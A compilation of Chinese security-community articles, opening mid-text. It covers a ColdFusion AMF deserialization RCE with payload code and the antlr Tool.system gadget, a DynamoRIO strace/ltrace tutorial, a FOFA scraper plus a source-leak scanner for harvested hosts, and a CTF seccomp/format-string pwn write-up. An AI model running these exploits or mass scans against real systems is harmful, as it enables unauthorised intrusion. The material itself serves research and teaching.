我最初的想法是，定义ActionMessage，然后赋值，将对象序列化，然后发送到目标地址，如下所示：
//序列化
ObjectOutputStream oos = new ObjectOutputStream(new FileOutputStream("ActionMessageSer"));
oos.writeObject(myActionMessage);
oos.close();
数据发送后，返回信息提示afm协议错误（肯定是数据有格式要求），于是又经过一番折腾，发现FlashGateway.jar中正好提供一个类MessageSerializer用来序列化ActionMessage对象（想想也没毛病，既然有反序列化，那就应该有序列化）。
我们看下MessageBody对象序列化的过程。
private void writeBody(MessageBody b) throws IOException {
if (b.getTargetURI() == null) {
this.dataOut.writeUTF("null");
} else {
this.dataOut.writeUTF(b.getTargetURI());
}
if (b.getResponseURI() == null) {
this.dataOut.writeUTF("null");
} else {
this.dataOut.writeUTF(b.getResponseURI());
}
this.dataOut.writeInt(-1);
this.amfOut.resetReferences();
this.amfOut.writeObject(b.getData());
}
看到这个代码后，我很是苦恼，我们前面说过，反序列化最后调用过程中的几个重要变量分别是serviceName、functionName、parameters，这个过程没有任何对这些变量做处理的代码，然后再看看MessageDeserializer中对MessageBody的反序列化处理，也是没有这些变量的代码处理。那问题就来了，最后出现的这几个变量的值是怎么来的？？？
### **（3）过滤器链**
关键变量的值是怎么传到服务器的？我们需要再理下流程。前面说到数据先到SerializationFilter最后会到AdapterFilter中。我们在序列化MessageBody时并没有直接处理serviceName相关变量，猜测数据的处理可能在SerializationFilter和AdapterFilter中间。
我们仔细分析下GateWay中的createFilters()函数，发下该函数创建了一个过滤器链，数据会按照这个过滤器链传递。
**SerializationFilter**
->debugFilter->packetSecurityFilter->BatchProcessFilter->logFilter->errorFilter->licenseFilter->sessionFilter->envelopeFilter->
**serviceNameFilter** ->messageSecurityFilter-> **adapterFilter**
依次查看过滤器代码，在ServiceNameFilter中发现了对serviceName的处理代码：
public ActionContext invoke(ActionContext context) throws Throwable {
MessageBody messageBody = context.getRequestMessageBody();
String targetURI = messageBody.getTargetURI();
int dotIndex = targetURI.lastIndexOf(".");
if (dotIndex > 0) {
messageBody.serviceName = targetURI.substring(0, dotIndex);
}
if (targetURI.length() > dotIndex) {
messageBody.functionName = targetURI.substring(dotIndex + 1);
}
Object messageData = messageBody.getData();
List parameters = null;
if (messageData == null) {
parameters = new ArrayList();
} else if (!(messageData instanceof List)) {
parameters = new ArrayList();
((List)parameters).add(messageData);
} else {
parameters = (List)messageBody.getData();
}
messageBody.parameters = (List)parameters;
……
}
super.next.invoke(context);
return context;
}
由上可知serviceName和functionName均来自targetURL，Parameters参数来自data。
比如我们要执行cmd.MyCmd类中的cmd函数,
targetURI赋值cmd.MyCmd.cmd即可
parameters通过data赋值
如果你看下PacketSecurityFilter中的代码，你就会发现整个流程的处理，可以不需要MessageHeader，所以我们前面基本不提MessageHeader相关细节。
下面我写了个简单的代码，执行我们的payload（我们之前手动放到lib目录下的CmdPayload.jar）
MessageSerializer myMessageSer = new MessageSerializer(false, "Classic", false);
myMessageSer.setOutputStream(new FileOutputStream("MessageSerializerSer"));
ActionMessage myActionMessage = new ActionMessage();
myActionMessage.setVersion(3);
//init msg header
//MessageHeader msgHeader1 = new MessageHeader("header1", false, "11111111111");
MessageBody msgBody1 = new MessageBody();
msgBody1.setTargetURI("cmd.MyCmd.cmd");
List<String> paramList = new ArrayList<>();
paramList.add("D:\\calc.exe");
msgBody1.setData(paramList);
myActionMessage.addBody(msgBody1);
myMessageSer.writeMessage(myActionMessage);
测试后发现，漏洞利用成功。
## 漏洞利用
数据处理的整个流程基本已经清楚，漏洞触发也没啥问题，但实际环境中我们不可能事先在别人的机器放上我们写好的jar文件吧。
漏洞利用，我们想要的最好结果，要么就是任意命令执行、要么能够上传、写文件也是ok的。
如果去测试java常用的攻击相关的类，比如Runtime、ProcessBuilder、File等类去做利用，都会失败（下面利用都是我个人对这个漏洞的理解，不一定完全正确）。
为什么呢，我们在看下JavaBeanAdapter中反射执行的代码
Class aClass = Class.forName(serviceName);
......
service = aClass.newInstance();
调用newInstance()去实例化类对象，这个函数要求， **被实例化的类必须有一个public无参数的构造函数，**
使用getMethod()函数获取类的 **成员函数要求该函数必须是public。**
现在我们明白能用来做该漏洞攻击的类必须具备两个条件
1. **该类有一个public且无参数的构造函数**
2. **被执行的函数必须是public类型的**
再去对比Runtime、File、ProcessBuilder等类，均不满足条件。
这两个条件给这个漏洞的利用制造一定的困难，要寻找这样条件的，还能满足我们执行代码要求的类，有点大海捞针的感觉。
但幸运的是，我还是找到了，在cufsion\lib目录下，有众多jar文件，怎么办，一个一个找呗，最后锁定两个jar文件ant.jar和antlr-2.7.6.jar，但是ant.jar的利用问题较多，未能成功。最后利用antlr-2.7.6.jar中的antlr.build.Tool.system成功实现任意代码执行。
Public 无参数的构造函数:
public Tool() {
this.os = System.getProperty("os.name");
}
public的成员函数:
public void system(String var1) {
Runtime var2 = Runtime.getRuntime();
try {
this.log(var1);
Process var3 = null;
if (!this.os.startsWith("Windows")) {
var3 = var2.exec(new String[]{"sh", "-c", var1});
} else {
var3 = var2.exec(var1);
}
......
int var6 = var3.waitFor();
} catch (Exception var7) {
this.error("cannot exec " + var1, var7);
}
}
## 新版补丁
新版本中JavaBeanAdapter的invokeFunction函数多了一句判断执行的类是否合理
****
## 参考：
[1].<https://paper.seebug.org/811/> | 社区文章 |
# 深入浅出——基于DynamoRIO的strace和ltrace
##### 译文声明
本文是翻译文章
译文仅供参考，具体内容表达以及含义原文为准。
## 前言
DynamoRIO是一种流行的动态二进制插桩平台，能够实时跟踪二进制程序的动态执行过程，在动态分析领域具有广泛的应用。strace和ltrace是Linux平台两款调试分析神器，能够跟踪程序动态运行时的系统调用和库函数调用。本文将介绍基于DynamoRIO实现的、面向Windows应用程序的drstrace和drltrace，并对其源码实现进行简要剖析。
## 0x00 概述
### DynamoRIO
首先给出DynamoRIO官方的相关资料如下，学习时多以此为参考。
1. DynamoRIO官方网站：<https://www.dynamorio.org/>
2. Github地址：<https://github.com/DynamoRIO/dynamorio>
3. 下载传送门：<https://github.com/DynamoRIO/dynamorio/wiki/Downloads>
4. 官方教程PDF：[教程传送门](https://github.com/DynamoRIO/dynamorio/releases/download/release_7_0_0_rc1/DynamoRIO-tutorial-feb2017.pdf)
本篇文章的实验环境：
1. windows 7 x64
2. vs2012
3. DynamoRIO-Windows-6.2.0-2
### strace && ltrace
在linux平台上，strace和ltrace是两款重要的调试分析工具，熟练使用这两个工具可以极大提高分析人员的工作效率，诊断软件的各种疑难杂症。其中，strace能够跟踪所有由用户进程空间发出的系统调用，ltrace则能够跟踪进程调用的库函数信息。例如，下面的例子展示了利用strace来跟踪cat命令的系统调用信息。
## 0x01 DynamoRIO 简要入门
DynamoRIO是一款流行的动态二进制插桩工具，工作于操作系统与应用程序之间，通过将二进制程序的代码拷贝到代码缓存的方式模拟目标程序的执行。在动态模拟执行的过程中，可以根据分析需求，对二进制程序的运行状态进行监控与修改。
DynamoRIO提供了丰富的API接口，开发者可以利用这些接口实现对指令、基本块、线程、系统调用等监控，从而实现二进制分析插件的开发。
下面简单介绍DynamoRIO的入门知识，详细信息请参考官方文档。
### 基本组成
此插桩平台主要包含以下内容：
1. DynamoRIO：负责解释并执行目标程序；提供丰富的跨平台API接口
2. Client ：通过API自定义分析操作来扩展DynamoRIO
3. DynamoRIO Extensions：主要指drmgr，drsyms，drwrap等官方提供的扩展接口
DynamoRIO中有一个重要的概念： **事件** 。
1. 应用程序事件：应用程序在动态执行时的事件，包括进程创建，模块加载，系统调用等
2. DynamoRIO事件：包括基本快、轨迹流的创建等
3. 事件回调函数的注册：`dr_register_xx_event`,`dr_ungister_xx_event`等
在DynamoRIO中，有两个重要的概念需要弄清： **transformation time** 和 **execution time**
> transformation time：DynamoRIO对待分析应用程序进行代码变换的时间
> execution time：待分析应用程序真正执行的时间
在DynamoRIO的官方手册中，有这样一个示例来这两个时间概念进行解释说明：
显然 **transformation time** 对应的代码主要决定在什么时候什么位置插入分析代码；而 **execution time**
对应的代码则是待分析程序真正动态执行时执行的分析代码。
### 运行方式：
方法1：
`drrun -c <client> <client options> -- <app cmdline>`
方法2：
`drconfig -reg <appname> -c <client> <client options>`
`drinject <app cmdline>`
### 简单功能演示
下面通过几个简单的官方示例来演示其功能，下面的功能演示均较为简单，主要让大家对动态二进制插桩技术和DynamoRIO有一个直观的认识，便于入门。
#### Example1:bbcount
分析notepad，统计其运行时的基本块信息，如图中所示，共有 6903773 个基本块得到执行。
#### Example2:inscount
分析notepad，统计其运行的所有指令数目，插桩分析结果如图所示。
#### Example3:countcalls
countcalls 用来分析程序运行时的跳转指令信息，下图展示了notepad的执行过程中的直接call指令、间接call指令和ret返回指令的数量统计。
#### Example4:bbsize
bbsize用于分析程序运行时的基本块信息，如下图所示，信息包括基本块总数、最大基本块指令数、平均指令数。
## 0x02 drstrace的实现与源码剖析
### drstrace简介
drstrace是基于DynamoRIO实现的windows平台系统调用跟踪工具，利用Dr.Memory框架来监视目标应用程序所执行的系统调用信息，在官方文件中包含有其源码以及已编译好的二进制插件。
### 测试分析
执行命令`drrun.exe -t drstrace -- notepad.exe`对记事本程序进行分析，写入一串字符串 **AAAAA….**
并保存到文件 **This is TestFile.txt** 中，如下图所示，跟踪结果将记录在
**drstrace.notepad.exe.06648.0000.log** 日志文件中。
打开日志文件，观察到如下所示的结果片段，从结果中可以观察到，drstrace成功监控到文件的创建和写入操作，并捕获到了相应系统调用的参数信息。
### 源码剖析
下面结合drstrace的源码（`drstrace.c`），对其实现流程进行剖析，完整代码可在DynamoRIO开发包中找到，这里重点对其主要流程和关键环节进行剖析。
首先，在主函数中完成初始化工作以及各事件的回调函数的注册。
//完成相关初始化工作
drsym_init(0);
drmgr_init();
drx_init();
if (drsys_init(id, &ops) != DRMF_SUCCESS)
ASSERT(false, "drsys failed to init");
dr_register_exit_event(exit_event);//注册应用程序退出事件的回调函数
dr_register_filter_syscall_event(event_filter_syscall);//注册系统调用事件的过滤函数
drmgr_register_pre_syscall_event(event_pre_syscall);//注册系统调用事件前的回调函数
drmgr_register_post_syscall_event(event_post_syscall);//注册系统调用事件后的回调函数
对于`dr_register_filter_syscall_event`函数的声明如下，官方文档中对此函数的解释为：注册系统调用事件的过滤函数，DynamoRIO会调用该过滤函数来决定是否执行执后续分析，只有此函数返回真时，`event_pre_syscall`和`event_pre_syscall`才会得到执行。此处`event_filter_syscall`函数直接返回`true`表明拦截所有系统调用。大家在自行开发分析插件时，可合理利用此函数，实现更高效的分析。
void dr_register_filter_syscall_event(bool (*func)(void *drcontext, int sysnum));
static bool event_filter_syscall(void *drcontext, int sysnum)
{
return true; /* intercept everything */
}
函数`drmgr_register_pre_syscall_event`注册了在每一次系统调用事件前（即系统调用入口处）执行的回调函数`event_pre_syscall`，此函数原型如下，其整体流程如下：
1. 给出了相关变量的声明，包括`drsys_syscall_t`结构体等，
2. 调用`drsys_cur_syscall`函数，根据当前上下文状态`drcontext`来获取当前系统调用信息
3. 调用`drsys_syscall_name`函数，获取当前系统调用的名称信息
4. 调用`drsys_syscall_is_known`函数，判断当前的系统调用是否为已知
5. 调用`drsys_iterate_args`函数，获取当前系统调用的参数信息
static bool
event_pre_syscall(void *drcontext, int sysnum)
{
//声明相关变量
drsys_syscall_t *syscall;
bool known;
drsys_param_type_t ret_type;
const char *name;
drmf_status_t res;
buf_info_t buf;
buf.sofar = 0;
if (drsys_cur_syscall(drcontext, &syscall) != DRMF_SUCCESS)//获取当前系统调用信息
ASSERT(false, "drsys_cur_syscall failed");
if (drsys_syscall_name(syscall, &name) != DRMF_SUCCESS)//获取当前系统调用名称
ASSERT(false, "drsys_syscall_name failed");
if (drsys_syscall_is_known(syscall, &known) != DRMF_SUCCESS)//判断当前系统调用是否为已知
ASSERT(false, "failed to find whether known");
OUTPUT(&buf, "%s%sn", name, known ? "" : " (details not all known)");
res = drsys_iterate_args(drcontext, drsys_iter_arg_cb, &buf);//获取系统调用参数信息
if (res != DRMF_SUCCESS && res != DRMF_ERROR_DETAILS_UNKNOWN)
ASSERT(false, "drsys_iterate_args failed pre-syscall");
/* Flush prior to potentially waiting in the kernel */
FLUSH_BUFFER(outf, buf.buf, buf.sofar);
return true;
}
函数`drmgr_register_post_syscall_event`注册了每一次系统调用事件后的回调函数`event_post_syscall`，其完整函数代码如下，整体执行流程为：
1. 声明所需变量
2. 函数`drsys_cur_syscall`获取当前系统调用信息
3. 函数`drsys_cur_syscall_result`获取当前系统调用的结果
4. 函数`drsys_iterate_args`获取参数信息
static void
event_post_syscall(void *drcontext, int sysnum)
{
//声明变量信息
drsys_syscall_t *syscall;
bool success = false;
uint errno;
drmf_status_t res;
buf_info_t buf;
buf.sofar = 0;
if (drsys_cur_syscall(drcontext, &syscall) != DRMF_SUCCESS)//获取当前系统调用信息
ASSERT(false, "drsys_cur_syscall failed");
if (drsys_cur_syscall_result(drcontext, &success, NULL, &errno) != DRMF_SUCCESS)
//获取当前系统调用的结果
ASSERT(false, "drsys_cur_syscall_result failed");
if (success)
OUTPUT(&buf, " succeeded =>n");
else
OUTPUT(&buf, " failed (error="IF_WINDOWS_ELSE(PIFX, "%d")") =>n", errno);
res = drsys_iterate_args(drcontext, drsys_iter_arg_cb, &buf);//获取系统调用参数信息
if (res != DRMF_SUCCESS && res != DRMF_ERROR_DETAILS_UNKNOWN)
ASSERT(false, "drsys_iterate_args failed post-syscall");
FLUSH_BUFFER(outf, buf.buf, buf.sofar);
}
drstrace的主干代码流程如上所述，除此之外，在源码中还包括`print_arg`,`print_structure`,`safe_read_field`等与参数打印相关的自定义函数，主要思想是根据参数的类型在程序动态运行时读取系统内存数据，此处不再赘述，感兴趣的同学可以到源码中学习阅读。
**注：** 默认情况下，drstrace跟踪所有子进程，可以通过参数`-no_follow_children`来修改
## 0x03 drltrace的实现与源码剖析
### drltrace简介
drltrace是DynamoRIO实现的针对库函数调用的跟踪工具，在官方资料中同样能够找到其源码`drltrace.c`以及二进制文件。
### 测试分析
直接执行如下图命令，对测试程序 **WriteFileEx1.exe** 进行分析。
其中参数`only_from_app`表示只记录应用程序本身所调用的库函数信息，而不记录函数库彼此之间所调用的信息。（此参数具有实际的工作意义，因为在日常的逆向分析工作中，我们确实更多的关心应用程序本身调用了哪些库函数，从而根据API序列分析其行为，而并不关心一个库函数内部又调用的其他库函数信息，这种冗余信息会增添无谓的工作量）
参数`print_ret_addr`表示打印出函数在应用程序中的返回地址。
在结果文件中，成功监测到对 **kernel32.dll**
的`CreateFileA->WriteFile->CloseHandle`的库函数调用序列，并提取了对应的函数参数信息和函数返回地址。
### 源码剖析
drltrace源码的主干部分同样是先完成初始化和事件回调函数注册工作，其中通过`dr_get_main_module()`函数获取主程序
**WriteFileEx1.exe** 的模块信息，保存其起始地址 **exe_start**
。然后进行回调函数的注册，这里最重要的一部分是通过`drmgr_register_module_load_event`函数注册的`event_module_load`回调函数，在每一个模块加载的时候都会执行此函数。
DR_EXPORT void
dr_client_main(client_id_t id, int argc, const char *argv[])
{
//相关初始化工作
module_data_t *exe;
...
drmgr_init();
drwrap_init();
drx_init();
...
//获取主应用程序的信息
exe = dr_get_main_module();
if (exe != NULL)
exe_start = exe->start;
dr_free_module_data(exe);
dr_register_exit_event(event_exit);//注册程序退出事件的回调函数
drmgr_register_module_load_event(event_module_load);//注册模块加载事件的回调函数
drmgr_register_module_unload_event(event_module_unload);//注册模块卸载事件的回调函数
open_log_file();//打开日志文件进行记录
}
`event_module_load`回调函数的原型如下，其主要功能就是对每一个需要分析的模块执行`iterate_exports`函数；而`iterate_exports`的原型如下，其主要功能是通过`dr_symbol_export_iterator_start`、`dr_symbol_export_iterator_hasnext`和`dr_symbol_export_iterator_next`函数的配合，遍历模块内的每一个导出函数，对满足条件的导出函数执行`drwrap_wrap_ex`。
static void
event_module_load(void *drcontext, const module_data_t *info, bool loaded)
{
if (info->start != exe_start && library_matches_filter(info))
iterate_exports(info, true/*add*/);
}
static void
iterate_exports(const module_data_t *info, bool add)
{
dr_symbol_export_iterator_t *exp_iter =
dr_symbol_export_iterator_start(info->handle);
while (dr_symbol_export_iterator_hasnext(exp_iter)) {
dr_symbol_export_t *sym = dr_symbol_export_iterator_next(exp_iter);
app_pc func = NULL;
if (sym->is_code)
func = sym->addr;
if (op_ignore_underscore.get_value() && strstr(sym->name, "_") == sym->name)
func = NULL;
if (func != NULL) {
if (add) {
...
drwrap_wrap_ex(func, lib_entry, NULL, (void *) sym->name, 0);
...
}
...
}
}
dr_symbol_export_iterator_stop(exp_iter);
}
函数`drwrap_wrap_ex`的功能是对每一个满足条件的函数 **func** ，在其函数调用的入口处调用开发者自定义的分析函数
**lib_entry** ，这里dltrace的 **lib_entry** 分析函数如下，其整体流程如下：
1. 完成相关变量的初始化工作
2. 通过`drwrap_get_drcontext`函数来获取，此次函数调用的上下文状态信息
3. 在仅监控主应用程序的条件下：首先获取函数的返回地址 **retaddr** ，然后判断返回地址是否位于主应用程序 **WriteFileEx1.exe** 的地址空间
4. 最后打印出参数信息和返回地址的信息。
static void
lib_entry(void *wrapcxt, INOUT void **user_data)
{
//初始化相关变量
const char *name = (const char *) *user_data;
const char *modname = NULL;
app_pc func = drwrap_get_func(wrapcxt);
module_data_t *mod;
thread_id_t tid;
uint mod_id;
app_pc mod_start, ret_addr;
drcovlib_status_t res;
//获取当前上下文信息
void *drcontext = drwrap_get_drcontext(wrapcxt);
if (op_only_from_app.get_value()) {//仅记录主应用程序的库函数调用信息
app_pc retaddr = NULL;
DR_TRY_EXCEPT(drcontext, {
retaddr = drwrap_get_retaddr(wrapcxt);//获取函数返回地址
}, { /* EXCEPT */
retaddr = NULL;
});
if (retaddr != NULL) {
mod = dr_lookup_module(retaddr);
if (mod != NULL) {//通过函数的返回地址判断函数的调用是否来自主应用程序
bool from_exe = (mod->start == exe_start);
dr_free_module_data(mod);
if (!from_exe)
return;
}
} else { return; }
}
...
print_symbolic_args(name, wrapcxt, func); //打印参数信息
//打印函数返回地址信息
if (op_print_ret_addr.get_value()) {
ret_addr = drwrap_get_retaddr(wrapcxt);
res = drmodtrack_lookup(drcontext, ret_addr, &mod_id, &mod_start);
if (res == DRCOVLIB_SUCCESS) {
dr_fprintf(outf,
op_print_ret_addr.get_value() ?
" and return to module id:%d, offset:" PIFX : "",
mod_id, ret_addr - mod_start);
}
}
...
}
这里需要注意的是打印参数的`print_symbolic_args`函数，在此处其采用三种参数打印方式：
1. 通过`drsyscall`函数来获取已知库函数的参数类型，并以此为依据提取运行时参数信息
2. 在自定义的参数配置文件中找寻由用户定义的参数类型，然后据此提取运行时参数信息
3. 如果上述两步都无法找到参数类型信息，则在动态监控时，此参数标记为`type=<unknown>*`
这里提到参数配置文件是指在drltrace工具包中的 **drltrace.config**
文件，其内部包含了常见的函数参数信息，用于指导动态运行时的参数提取，其文件内容如下，后续开发者可以通过这个配置文件来补充函数和参数类型，从而丰富动态记录的内容。
## 结束语
以上介绍了drstrace和drltrace的工具使用和源码实现，而DynamoRIO还有更丰富的功能等待大家去挖掘。
除了DynamoRIO外，Pin是另外一种流行的动态二进制插桩工具，两者相比各有优势。从应用的角度而言，本人的总体感觉是DynamoRIO效率更高，而Pin的稳定性更好，而且编程接口更容易掌握，感兴趣的同学可以尝试学习运用一下。
盼与大家共同学习提高。 | 社区文章 |
# 写在前面
相信大家一定对源码泄露并不陌生，这里也不赘述这个漏洞的原理和危害了，网上一搜也都有好多好多，看都看不完~~~
那今天这里我们讲啥呢？那就直入主题吧~今天这里我就贴出我自己参考的加上自己写的`fofa爬虫 +
源码泄露PoC之梦幻联动`，希望能对大家有帮助。我也只是个菜鸡，如果有不足请指正出来，一起学习~
**注：福利在文末**
# fofa爬虫
因为这里我没钱，充不起会员，所以其中只能爬1—5页，应该能满足大部分人的需求了~反正我满足了， 因为我没钱，呜呜呜
import requests
from lxml import etree
import random
import time
import urllib
import base64
headers = {
"User-Agent": "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/54.0.2840.99 Safari/537.36",
}
#这里的代理IP需要自己去爬取或者添加
proxylist = [
{'HTTP': '112.84.54.35:9999'},
{'HTTP': '175.44.109.144:9999'},
{'HTTP': '125.108.119.23:9000'}
]
proxy = random.choice(proxylist)
def loadpage(url,begin,end):
for page in range(begin,end+1):
print("正在爬取第"+str(page)+"页：")
fullurl = url+"&page="+str(page)
response = requests.get(fullurl,headers=headers,proxies=proxy).text
html = etree.HTML(response)
req = html.xpath('//div[@class="fl box-sizing"]/div[@class="re-domain"]/a[@target="_blank"]/@href')
result = '\n'.join(req)
with open(r'url.txt',"a+") as f:
f.write(result+"\n")
print("----------------第"+str(page)+"页已完成爬取----------------"+'\n')
if __name__ == '__main__':
q = input('请输入关键字,如 "app="xxx" && country="CN"：等等')
begin = int(input("请输入开始页数 最小为1："))
end = int(input("请输入结束页数 最大为5："))
cookie = input("请输入你的Cookie：")
cookies = '_fofapro_ars_session='+cookie+';result_per_page=20'
headers['cookie'] = cookies
url = "https://fofa.so/result?"
key = urllib.parse.urlencode({"q":q})
key2 = base64.b64encode(q.encode('utf-8')).decode("utf-8")
url = url+key+"&qbase64="+key2
loadpage(url,begin,end)
time.sleep(5)
# 源码泄露PoC
其中加入`time.sleep()`也是为了安全考虑吧，慢一点就慢一点，稳就行了
import requests
import time
with open("url.txt", 'r') as temp:
for url in temp.readlines():
url = url.strip('\n')
with open("web.txt", 'r') as web:
webs = web.readlines()
for web in webs:
web = web.strip()
u = url + web
r = requests.get(u)
# print("url为:"+u)
print("url为:" + u + ' ' + "状态为:%d" %r.status_code)
time.sleep(2) #想睡多久看自己~
w = open('write.txt', 'w+')
for web in webs:
web = web.strip()
u = url + web
r = requests.get(u)
w.write("url为:" + u + ' ' + "状态为:%d" %r.status_code + '\n')
# 梦幻联动
## 第一步
先把`web.txt`准备好，里面放上自己想跑的目录，这里截取部分我的txt吧。因为我的txt也很简陋，所以这里就不全贴出来了，想要的私聊我~
[
## 第二步
用fofa爬虫前首先我们需要获得其中的`_fofapro_ars_session`。
先要打开fofa，进行登录
[
然后去cookie中找到它，复制下来
[
然后就可以用`fofa爬虫`爬取我们所需要的url了，就像这样
[
然后按下回车，就会进行爬取，然后导入到我们的`url.txt`中，大家可以在这个文件中进行查看，也可以直接在PyCharm中查看
[
这里如果不放心可以自己在fofa中搜索一遍进行比对，发现是一模一样的
[
下一步就是开始启动我们的源码泄露PoC了
这里直接`Run`它
[
然后就是进入等待阶段。等待的时候可以泡上杯咖啡喝，啊，舒服~
[
结束后，这份最后导出来的是叫`write.txt`。大家可以直接在PyCharm中看，也可以打开`write.txt`中查看。我相信大家都是会看状态码的，这里我就不赘述了
[
测试结束
# 福利
这里如果是只想测试一个网站，我这里附上另外一个PoC，大家可以用下面这个PoC，这里就不给大家演示了，跟上面的差不多，只是这份最后导出来的是`write
easy.txt`
import requests
import time
url='' #想扫哪个网站自行将url粘贴到这里
with open("web.txt", 'r') as web:
webs = web.readlines()
for web in webs:
web = web.strip()
u = url + web
r = requests.get(u)
#print("url为:"+u)
print("url为:" + u + ' ' + "状态为:%d"%r.status_code)
time.sleep(2) #想睡多久看自己~
w = open('write easy.txt', 'w+')
for web in webs:
web = web.strip()
u = url + web
r = requests.get(u)
w.write("url为:" + u + ' ' + "状态为:%d"%r.status_code + '\n')
更多福利请关注本人公众号" **挽风安全** "吧！ | 社区文章 |
此题是X-NUCA'2018的一道题目，在比赛过程中没有队伍解出。赛后在得到AFang师傅的提示后复现成功。题目及附件[下载](https://github.com/ret2p4nda/libc-pwn/tree/master/secretcenter)
# 题目及漏洞分析
题目中初始化过程中首先从'secret.txt'中读入一个字符串，存放在申请的堆中。
int get_secret()
{
int v0; // eax
int v1; // ebx
bss_malloc_secret = malloc(0x78uLL);
v0 = open("secret.txt", 0x80000);
if ( v0 == -1 )
exit(1);
v1 = v0;
if ( (unsigned int)read(v0, bss_malloc_secret, 0x78uLL) == -1 )
exit(1);
return close(v1);
}
用户可以输入size申请不大于0x18f大小堆块，并向堆块中输入内容，内容首先输入在栈上，然后通过memcpy复制到堆上，此时栈上是有用户输入的。然后逐字节与secret.txt读入的内容比较，判断是否相等。当相同字节数等于strlen(secret)时，会调用一个函数，这个函数会通过读取/proc/self/maps文件，给出程序的内存空间分布，最终将用户的输入输出到stderr文件，此处用了_fprintf_chk函数，是fprintf的安全版本，存在一个格式化字符串漏洞，但是由于是向stderr输出，并不会返回给用户，无法泄露地址。
unsigned __int64 input()
{
int v0; // ebp
unsigned __int64 v1; // kr08_8
int i; // eax
__int64 v3; // rbx
size_t size; // [rsp+Ch] [rbp-22Ch]
unsigned __int64 v6; // [rsp+218h] [rbp-20h]
v6 = __readfsqword(0x28u);
puts("Secret Size: ");
LODWORD(size) = 0;
scanf("%d", &size);
v0 = size;
if ( (unsigned int)(size - 0x65) > 0x12A )
exit(1);
bss_malloc_user = malloc((unsigned int)size);
bss_size = v0;
write(1, "Content: \n", 0xAuLL);
syscall(0LL, 0LL, (char *)&size + 4, (unsigned int)size);
memcpy(bss_malloc_user, (char *)&size + 4, (unsigned int)size);
v1 = strlen((const char *)bss_malloc_secret) + 1;
for ( i = 0; ; ++i )
{
v3 = i;
if ( i >= v1 - 1 )
break;
if ( *((_BYTE *)bss_malloc_secret + i) != *((_BYTE *)bss_malloc_user + i) )
{
puts("Not Good Secret :P\n");
break;
}
}
if ( v3 == strlen((const char *)bss_malloc_secret) )
give_vmmap();
_fprintf_chk((__int64)stderr, 1LL, (__int64)&size + 4);
return __readfsqword(0x28u) ^ v6;
}
在释放函数中，程序可以对input函数中申请的堆块释放，但没有把指针清空，存在悬垂指针，导致double free。
void delete()
{
free(bss_malloc_user);
}
并且可以通过edit函数，对之前的堆块进行修改，由于悬垂指针的问题，存在UAF。
__int64 edit_secret()
{
unsigned int v1; // [rsp+Ch] [rbp-Ch]
write(1, "size: \n", 7uLL);
scanf("%d", &v1);
if ( (signed int)v1 <= 0 || v1 >= bss_size )
exit(1);
write(1, "Content: \n", 0xAuLL);
return syscall(0LL, 0LL, bss_malloc_user, v1);
}
此外，用户可以通过guard_ready函数，首先通过malloc申请一个0xf0的堆块，并且对这个堆块初始化一些数据，这个数据是一段预置的seccomp规则，后续再说。
在set_guard函数中，通过prctl函数将之前预置的seccomp规则生效。此处存在一个问题，由于程序可以任意设置大小的堆块，而设置seccomp规则的函数与ptctl不在一个函数中，因此可以通过UAF来修改这个seccomp规则。
int set_guard()
{
int result; // eax
__int16 v1; // [rsp+0h] [rbp-18h]
__int64 v2; // [rsp+8h] [rbp-10h]
v1 = guard_num;
v2 = bss_guard;
if ( prctl(38, 1LL, 0LL, 0LL, 0LL) )
exit(1);
result = prctl(0x16, 2LL, &v1);
if ( result )
{
perror("what?");
exit(1);
}
return result;
}
# 漏洞利用
程序存在两个显式漏洞堆漏洞和格式化字符串。但是fprintf_chk函数不能使用%n写入数据，由于输出是stderr的情况也不能泄露数据。并且由于程序开启了全部的保护规则，因此仅通过堆漏洞，无法获得地址利用，但是将二者结合使用，会出现很有意思的情况。
└─[$] <> checksec secret_center
[*] '/home/p4nda/Desktop/pwn/other/xnuca/secretcenter/secret_center'
Arch: amd64-64-little
RELRO: Full RELRO
Stack: Canary found
NX: NX enabled
PIE: PIE enabled
FORTIFY: Enabled
## seccomp
seccomp是在内核中实现的对于用户系统调用及其参数的过滤，决定是否继续调用此系统调用，相当于自废武功，在CTF通防中很容易遇到，一般会禁用execve这样的系统调用，防止拿到shell。
在内核处理请求系统调用时在此处（\arch\x86\entry\enrty_64.S line 247）进入检查，
/* Do syscall entry tracing */
tracesys:
movq %rsp, %rdi
movl $AUDIT_ARCH_X86_64, %esi
call syscall_trace_enter_phase1
test %rax, %rax
jnz tracesys_phase2 /* if needed, run the slow path */
RESTORE_C_REGS_EXCEPT_RAX /* else restore clobbered regs */
movq ORIG_RAX(%rsp), %rax
jmp entry_SYSCALL_64_fastpath /* and return to the fast path */
tracesys_phase2:
SAVE_EXTRA_REGS
movq %rsp, %rdi
movl $AUDIT_ARCH_X86_64, %esi
movq %rax, %rdx
call syscall_trace_enter_phase2
具体的检查机制在\arch\x86\net\bpf_jit_comp.c中。
好在david942j@217已经写出一套可以方便分析seccomp功能及编写seccomp的工具[seccomp-tools](https://github.com/david942j/seccomp-tools)
如分析程序预置的seccomp规则.
└─[$] <> seccomp-tools dump ./secret_center
Welcome to Secret Center!
[*]Reinforcable Secret Service..
[1] show secret on Server
[2] input my secret
[3] delete my secret
[4] Guard Ready
[5] Set Guard
[6] edit my secret
[7] exit
>
4
[1] show secret on Server
[2] input my secret
[3] delete my secret
[4] Guard Ready
[5] Set Guard
[6] edit my secret
[7] exit
>
5
line CODE JT JF K
=================================
0000: 0x20 0x00 0x00 0x00000004 A = arch
0001: 0x15 0x01 0x00 0xc000003e if (A == ARCH_X86_64) goto 0003
0002: 0x06 0x00 0x00 0x00000000 return KILL
0003: 0x20 0x00 0x00 0x00000000 A = sys_number
0004: 0x15 0x00 0x01 0x000000e7 if (A != exit_group) goto 0006
0005: 0x06 0x00 0x00 0x7fff0000 return ALLOW
0006: 0x15 0x00 0x01 0x00000000 if (A != read) goto 0008
0007: 0x06 0x00 0x00 0x7fff0000 return ALLOW
0008: 0x15 0x00 0x01 0x00000002 if (A != open) goto 0010
0009: 0x06 0x00 0x00 0x7fff0000 return ALLOW
0010: 0x15 0x00 0x01 0x00000001 if (A != write) goto 0012
0011: 0x06 0x00 0x00 0x7fff0000 return ALLOW
0012: 0x15 0x00 0x01 0x00000003 if (A != close) goto 0014
0013: 0x06 0x00 0x00 0x7fff0000 return ALLOW
0014: 0x06 0x00 0x00 0x00000000 return KILL
## fprintf_chk
这个函数在潜意识里觉得这个函数的格式化字符串漏洞是没有办法利用的。如执行%n
